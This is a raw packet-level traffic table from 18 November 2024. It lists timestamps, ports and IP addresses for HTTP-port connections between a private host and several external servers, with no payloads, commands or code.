Nov 18, 2024 19:04:15.497848988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.497876883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.497899055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498157024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498166084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498176098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498208046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498248100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498256922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498272896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498284101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498296976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498322964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498394966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498434067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498440981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498441935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498471022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498486042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498558044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498567104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498591900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498611927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498642921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498707056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498714924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498740911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498749971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498759031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498761892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498775959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498784065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.498792887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498814106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498831987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.498992920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499017954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499027014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499043941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499053001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499068022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499098063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499145031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499155045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499175072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499196053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499200106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499205112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499221087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499228001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499228954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499238968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499254942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499264002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499298096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499506950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499526978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499536037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499551058 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499552011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499562025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499567986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499594927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499772072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499782085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499790907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499799013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499808073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499814034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499824047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499840021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499871016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499913931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499933958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499942064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499957085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499974012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.499974966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.499984980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500000954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500010967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500021935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500026941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500046968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500076056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500283957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500292063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500307083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500315905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500324011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500339985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500346899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500348091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500356913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500365973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500392914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500562906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500581980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500591040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500597954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500606060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500606060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500613928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500622988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500637054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500638962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500648022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500654936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500670910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500672102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500680923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500684023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500711918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500927925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500936031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500951052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.500982046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.500999928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501005888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501008987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501017094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501025915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501029968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501034021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501044035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501048088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501095057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501095057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501308918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501316071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501331091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501341105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501354933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501360893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501370907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501379013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501380920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501388073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501395941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.501409054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501425028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.501442909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535126925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535145998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535156965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535183907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535203934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535221100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535670042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535712004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535732985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535742044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535784006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535825014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535835028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535844088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535852909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535867929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535897017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535929918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535938978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535948992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.535964012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.535994053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.536156893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536166906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536176920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536211967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.536230087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.536359072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536420107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.536588907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536629915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.536634922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536644936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536659002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.536695004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.578794956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.578860998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.578883886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.578907013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.597897053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.597918034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.597934961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.597943068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.597953081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.597960949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.597970009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.597982883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.598033905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.598229885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598237991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598253012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598261118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598275900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598284006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598294020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.598299980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598308086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598310947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.598318100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598336935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.598354101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.598915100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598923922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598948002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598954916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598963022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598972082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598979950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.598988056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.598995924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599005938 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599011898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599021912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599035025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599050999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599081993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599627018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599636078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599652052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599658966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599668026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599674940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599685907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599690914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599699020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599706888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599714994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599721909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599730015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599730968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599739075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599746943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599755049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599756002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599761963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599771023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.599792004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.599809885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.600944996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.600956917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.600965023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.600995064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.601018906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.613785982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.613862991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.613871098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.613881111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.613919020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.613933086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.613964081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.614017010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614026070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614042044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614049911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614073038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.614099026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.614243031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614250898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614267111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614274025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614281893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614289999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614298105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614303112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.614336014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.614351988 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.614610910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614619017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614634991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614644051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.614665985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.614691019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.617950916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.617989063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.617997885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.618026972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.618045092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.618243933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.618256092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.618272066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.618279934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.618288040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.618305922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.618324041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.619723082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.619770050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:17.950328112 CET	49970	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:17.956895113 CET	80	49970	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:17.956981897 CET	49970	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:17.959846020 CET	49978	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:17.965481997 CET	80	49978	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:17.965591908 CET	49978	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:17.971436977 CET	49978	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:17.976380110 CET	80	49978	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:18.262619972 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:18.267644882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:18.267759085 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:18.268624067 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:18.273550034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:18.893140078 CET	80	49978	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:18.893337011 CET	49978	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:18.896415949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:18.901475906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:18.901563883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:18.901664972 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:18.906745911 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.628498077 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.628515959 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.628650904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.628812075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.628822088 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.628878117 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.815363884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.815378904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.815391064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.815490961 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.832904100 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.832969904 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.833025932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.833103895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.870788097 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.870812893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.870825052 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.870863914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.870882988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.870974064 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.870985031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.870996952 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.871009111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.871026039 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.871052027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.871149063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.871160030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.871172905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.871201992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.871201992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.906807899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.906825066 CET	80	49979	62.76.234.151	192.168.2.5
